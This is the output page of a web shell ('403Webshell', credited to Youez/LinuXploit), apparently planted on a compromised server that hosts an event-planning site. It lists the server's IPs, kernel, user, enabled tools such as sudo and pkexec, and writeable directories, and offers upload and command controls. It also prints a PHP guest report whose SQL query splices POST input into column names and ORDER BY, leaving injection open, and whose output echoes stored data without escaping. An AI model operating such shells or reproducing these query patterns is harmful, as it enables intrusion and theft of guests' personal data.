403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/mitzvahm/planner/rpt/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mitzvahm/planner/rpt/tables_guests_by_venue.php
<?php include('mod/_mod_security.php'); ?>
<?php
	$sql = "SELECT g.last_name, g.first_name, t.table_no, t.table_desc FROM guests g INNER JOIN tables t ON (g.table_".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['venue']))." = t.id AND g.user_id = t.user_id AND g.event_id = t.event_id) ".
			"WHERE g.table_".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['venue']))." > 0 AND g.rsvp_".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['venue']))." = 1 AND t.venue = '".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['venue']))."' AND ".
			"g.user_id = ".$_SESSION['user_id']." AND g.event_id = ".$_SESSION['active_event']." ORDER BY ".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['sort']))." ";
	$result = mysqli_query($GLOBALS['con'], $sql) or die('Database error!');
	//$result = mysqli_query($GLOBALS['con'], $sql) or die(mysqli_error($GLOBALS['con']).' ==='.$sql.'===');
	if (mysqli_num_rows($result) <= 0) :
		echo 'No data for report!';
		exit();
	endif;
?>
<table align="center" cellpadding="0" cellspacing="2" border="0">
	<thead>
		<?php report_fixed_header(); ?>
		<tr class="page_header">
			<td colspan="4"style="font-size:18px;">
				<?php echo venue_decode(mysqli_real_escape_string($GLOBALS['con'], trim($_POST['venue']))); ?>
			</td>
		</tr>
		<tr>
			<td width="100" align="center">
				Last Name
			</td>
			<td width="100" align="center">
				First Name
			</td>
			<td width="50" align="center">
				Table Number
			</td>
			<td width="200" align="center">
				Table Description
			</td>
		</tr>
	</thead>
	<tfoot>
		<?php report_fixed_footer(); ?>
	</tfoot>
	<tbody>
		<?php
			while($row = mysqli_fetch_object($result)) :
		?>
				<tr>
					<td>
						<?php echo $row->last_name; ?>
					</td>
					<td>
						<?php echo $row->first_name; ?>
					</td>
					<td align="center">
						<?php echo $row->table_no; ?>
					</td>
					<td align="left">
						<?php echo $row->table_desc; ?>
					</td>
				</tr>
		<?php
			endwhile;
		?>
		<tr>
			<td>
				Total:
			</td>
			<td align="right">
				<?php echo mysqli_num_rows($result); ?>
			</td>
			<td align="right">&nbsp;
			</td>
			<td align="right">&nbsp;
			</td>
		</tr>
	</tbody>
</table>

Youez - 2016 - github.com/yon3zu
LinuXploit